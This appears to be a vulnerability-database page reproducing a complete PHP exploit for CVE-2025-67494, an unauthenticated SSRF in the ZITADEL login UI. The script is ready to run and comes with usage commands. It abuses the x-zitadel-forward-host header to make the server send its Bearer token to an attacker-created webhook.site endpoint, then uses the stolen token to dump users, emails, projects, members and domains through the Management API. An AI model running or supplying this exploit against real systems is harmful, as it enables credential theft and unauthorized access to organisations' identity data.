| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for CVE-2025-67494 | 10 Dec 202513:13 | – | githubexploit | |
| CVE-2025-67494 | 10 Dec 202502:14 | – | circl | |
| ZITADEL 代码问题漏洞 | 9 Dec 202500:00 | – | cnnvd | |
| CVE-2025-67494 | 9 Dec 202522:07 | – | cve | |
| CVE-2025-67494 ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login | 9 Dec 202522:07 | – | cvelist | |
| EUVD-2025-201822 | 9 Dec 202522:07 | – | euvd | |
| ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login | 8 Dec 202522:19 | – | github | |
| CVE-2025-67494 | 9 Dec 202522:16 | – | nvd | |
| CVE-2025-67494 ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login | 9 Dec 202522:07 | – | osv | |
| GHSA-7WFC-4796-GMG5 ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login | 8 Dec 202522:19 | – | osv |
=============================================================================================================================================
| # Title : ZITADEL 4.7.0 SSRF Exploit - PHP Version |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/zitadel |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212661/ & CVE-2025-67494
[+] Summary : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API.
[+] SSRFExploiter Class :
Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint
Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers
[+] POC :
# Basic usage (auto-detects API URL)
php exploit.php -u http://target:29000
# Specify custom API URL
php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
class WebhookManager {
private $token;
private $url;
public function create() {
try {
$ch = curl_init("https://webhook.site/token");
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => ['Content-Type: application/json']
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (in_array($httpCode, [200, 201])) {
$data = json_decode($response, true);
$token = $data['uuid'] ?? null;
if ($token) {
$this->token = $token;
$this->url = "https://webhook.site/{$token}";
return [$token, $this->url];
}
}
} catch (Exception $e) {
$this->logError("Error creating webhook: " . $e->getMessage());
}
return [null, null];
}
public function getRequests($timeout = 60) {
if (!$this->token) {
return null;
}
$url = "https://webhook.site/token/{$this->token}/requests";
$startTime = time();
$pollInterval = 5;
$lastCheck = 0;
while (time() - $startTime < $timeout) {
$elapsed = time() - $startTime;
try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200) {
$data = json_decode($response, true);
$total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0;
if ($total > $lastCheck) {
$this->logInfo("Webhook received {$total} request(s)...");
$lastCheck = $total;
}
if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) {
return $data['data'];
}
}
$remaining = $timeout - $elapsed;
if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) {
$this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)");
}
} catch (Exception $e) {
$this->logError("Error polling webhook: " . $e->getMessage());
}
if ($elapsed < $timeout) {
sleep($pollInterval);
}
}
return null;
}
public function extractBearerToken($requestsData) {
if (!$requestsData) {
return null;
}
foreach ($requestsData as $req) {
$headers = $req['headers'] ?? [];
foreach ($headers as $key => $value) {
if (strtolower($key) === 'authorization') {
$authHeader = is_array($value) ? ($value[0] ?? '') : $value;
if (strpos($authHeader, 'Bearer ') === 0) {
return substr($authHeader, 7);
}
}
}
}
return null;
}
public function getUrl() {
return $this->url;
}
private function logInfo($message) {
echo "[*] $message\n";
}
private function logError($message) {
echo "[!] $message\n";
}
}
class SSRFExploiter {
private $targetUrl;
public function __construct($targetUrl) {
$this->targetUrl = $targetUrl;
}
public function exploit($oobHost) {
$this->logInfo("Exploiting SSRF to {$this->targetUrl}");
$this->logInfo("OOB host: {$oobHost}");
$url = "{$this->targetUrl}/ui/v2/login";
$headers = ["x-zitadel-forward-host: {$oobHost}"];
try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => $headers
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$this->logSuccess("SSRF request sent (status: {$httpCode})");
return true;
} catch (Exception $e) {
$this->logError("Error during SSRF exploitation: " . $e->getMessage());
return false;
}
}
private function logInfo($message) {
echo "[*] $message\n";
}
private function logSuccess($message) {
echo "[+] $message\n";
}
private function logError($message) {
echo "[!] $message\n";
}
}
class ZitadelAPI {
private $baseUrl;
private $token;
private $searchQuery = '{"query": {"offset": "0", "limit": 10}}';
public function __construct($baseUrl, $token) {
$this->baseUrl = $baseUrl;
$this->token = $token;
}
private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) {
$url = "{$this->baseUrl}/management/v1/{$endpoint}";
$headers = ["Authorization: Bearer {$this->token}"];
if ($isPost) {
$headers[] = "Content-Type: application/json";
}
try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => $headers
]);
if (strtoupper($method) === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery);
}
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200) {
return json_decode($response, true);
}
} catch (Exception $e) {
if ($errorMsg) {
$this->logError("{$errorMsg}: " . $e->getMessage());
}
}
return null;
}
public function getIamInfo() {
return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info');
}
public function getOrgInfo() {
return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info');
}
public function listUsers() {
return $this->apiRequest('POST', 'users/_search', 'Error listing users', true);
}
public function listProjects() {
return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true);
}
public function listOrgMembers() {
return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true);
}
public function listOrgDomains() {
return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true);
}
public function getUserMemberships($userId) {
$endpoint = "users/{$userId}/memberships/_search";
return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true);
}
private function logError($message) {
echo "[!] $message\n";
}
}
class DataFormatter {
public static function formatIamInfo($data) {
if (!$data) return null;
$gid = $data['globalOrgId'] ?? 'N/A';
$pid = $data['iamProjectId'] ?? 'N/A';
$did = $data['defaultOrgId'] ?? 'N/A';
return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}";
}
public static function formatOrgInfo($data) {
if (!$data || !isset($data['org'])) return null;
$org = $data['org'];
$oid = $org['id'] ?? 'N/A';
$name = $org['name'] ?? 'N/A';
$state = $org['state'] ?? 'N/A';
$domain = $org['primaryDomain'] ?? 'N/A';
return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}";
}
public static function formatUsers($data) {
return self::formatList($data, function($user) {
$userType = isset($user['machine']) ? "Machine" : "Human";
$username = $user['userName'] ?? 'N/A';
$state = $user['state'] ?? 'N/A';
if (isset($user['human']['email']['email'])) {
$email = $user['human']['email']['email'];
return "{$userType}: {$username} ({$email}) - {$state}";
}
return "{$userType}: {$username} - {$state}";
});
}
public static function formatProjects($data) {
return self::formatList($data, function($project) {
$name = $project['name'] ?? 'N/A';
$id = $project['id'] ?? 'N/A';
$state = $project['state'] ?? 'N/A';
return "{$name} (ID: {$id}) - {$state}";
});
}
public static function formatMembers($data) {
return self::formatList($data, function($member) {
$email = $member['email'] ?? 'N/A';
$roles = implode(", ", $member['roles'] ?? []);
return "{$email} - Roles: {$roles}";
});
}
public static function formatDomains($data) {
return self::formatList($data, function($domain) {
$domainName = $domain['domainName'] ?? 'N/A';
$verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified";
$primary = !empty($domain['isPrimary']) ? "Primary" : "";
$result = "{$domainName} - {$verified}";
if ($primary) $result .= " {$primary}";
return trim($result);
});
}
public static function formatMemberships($data) {
return self::formatList($data, function($membership) {
$orgName = $membership['displayName'] ?? 'N/A';
$roles = implode(", ", $membership['roles'] ?? []);
$iam = !empty($membership['iam']) ? "IAM" : "Org";
return "{$iam}: {$orgName} - Roles: {$roles}";
});
}
private static function formatList($data, $formatter) {
if (!$data || !isset($data['result']) || empty($data['result'])) {
return null;
}
$items = array_map($formatter, $data['result']);
$items = array_filter($items);
return !empty($items) ? implode("\n", $items) : null;
}
}
function printInfo($title, $data, $formatter = null) {
if (!$data) return;
echo "\n" . str_repeat('=', 60) . "\n";
echo "{$title}\n";
echo str_repeat('=', 60) . "\n";
if ($formatter) {
$formatted = call_user_func($formatter, $data);
if ($formatted) {
echo "{$formatted}\n";
}
} else {
echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
}
}
function parseArguments() {
global $argv;
$options = [
'ui-url:' => 'u:',
'api-url:' => 'a:',
'timeout:' => '',
'help' => 'h'
];
$parsed = getopt(implode('', array_values($options)), array_keys($options));
$args = [];
$args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null;
$args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null;
$args['timeout'] = $parsed['timeout'] ?? 60;
$args['help'] = isset($parsed['h']) || isset($parsed['help']);
return $args;
}
function showHelp() {
echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n";
echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
echo "Options:\n";
echo " -u, --ui-url ZITADEL Login UI URL (e.g., http://localhost:29000)\n";
echo " -a, --api-url ZITADEL Management API URL (e.g., http://localhost:28080).\n";
echo " If not provided, will be auto-detected from UI URL\n";
echo " --timeout Timeout in seconds (default: 60)\n";
echo " -h, --help Show this help message\n";
}
function main() {
$args = parseArguments();
if ($args['help'] || !$args['ui-url']) {
showHelp();
exit($args['help'] ? 0 : 1);
}
// إضافة البروتوكول إذا لم يكن موجودًا
$uiUrl = $args['ui-url'];
if (!preg_match('#^https?://#i', $uiUrl)) {
$uiUrl = "http://" . $uiUrl;
echo "[*] Added protocol to UI URL: {$uiUrl}\n";
}
if ($args['api-url']) {
$baseUrl = $args['api-url'];
if (!preg_match('#^https?://#i', $baseUrl)) {
$baseUrl = "http://" . $baseUrl;
}
} else {
$parsed = parse_url($uiUrl);
// قيم افتراضية في حالة عدم وجود بيانات
$scheme = $parsed['scheme'] ?? 'http';
$host = $parsed['host'] ?? '127.0.0.1';
$port = $parsed['port'] ?? null;
// حاول تحديد المنفذ الصحيح بناءً على المنفذ المدخل
if ($port == 28080) {
// إذا كان المنفذ 28080 (API)، فاستخدم 29000 للـ UI
$uiUrl = "{$scheme}://{$host}:29000";
$baseUrl = "{$scheme}://{$host}:28080";
} elseif ($port == 29000) {
// إذا كان المنفذ 29000 (UI)، فاستخدم 28080 للـ API
$uiUrl = "{$scheme}://{$host}:29000";
$baseUrl = "{$scheme}://{$host}:28080";
} else {
// إذا كان منفذ آخر، افترض أنه UI واستخدم المنفذ الافتراضي للـ API
$baseUrl = "{$scheme}://{$host}:28080";
}
echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n";
}
echo "[*] Starting CVE-2025-67494 exploit\n";
echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n";
// ... باقي الكود
$webhook = new WebhookManager();
echo "[*] Creating webhook.site URL via API...\n";
list($webhookToken, $webhookUrl) = $webhook->create();
if (!$webhookToken) {
echo "[!] Failed to create webhook via API\n";
exit(1);
}
$oobHost = "{$webhookToken}.webhook.site";
echo "[+] Webhook created: {$webhookUrl}\n";
echo "[*] OOB host: {$oobHost}\n";
$exploiter = new SSRFExploiter($uiUrl);
echo "[*] Sending SSRF request...\n";
$exploiter->exploit($oobHost);
$timeout = (int)$args['timeout'];
echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n";
$requestsData = $webhook->getRequests($timeout);
if (!$requestsData) {
echo "[!] Timeout: No requests received within {$timeout} seconds\n";
exit(1);
}
$token = $webhook->extractBearerToken($requestsData);
if (!$token) {
echo "[!] Bearer token not found in webhook requests\n";
exit(1);
}
echo "[+] Bearer token successfully retrieved!\n";
echo "[*] Token: " . substr($token, 0, 50) . "...\n";
echo "[*] Retrieving information via Management API...\n";
$api = new ZitadelAPI($baseUrl, $token);
$iamInfo = $api->getIamInfo();
printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']);
$orgInfo = $api->getOrgInfo();
printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']);
$users = $api->listUsers();
printInfo("Users", $users, ['DataFormatter', 'formatUsers']);
if ($users && isset($users['result']) && count($users['result']) > 0) {
$firstUserId = $users['result'][0]['id'];
$memberships = $api->getUserMemberships($firstUserId);
printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']);
}
$projects = $api->listProjects();
printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']);
$members = $api->listOrgMembers();
printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']);
$domains = $api->listOrgDomains();
printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']);
echo "[+] Exploitation completed successfully!\n";
}
if (PHP_SAPI === 'cli') {
main();
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation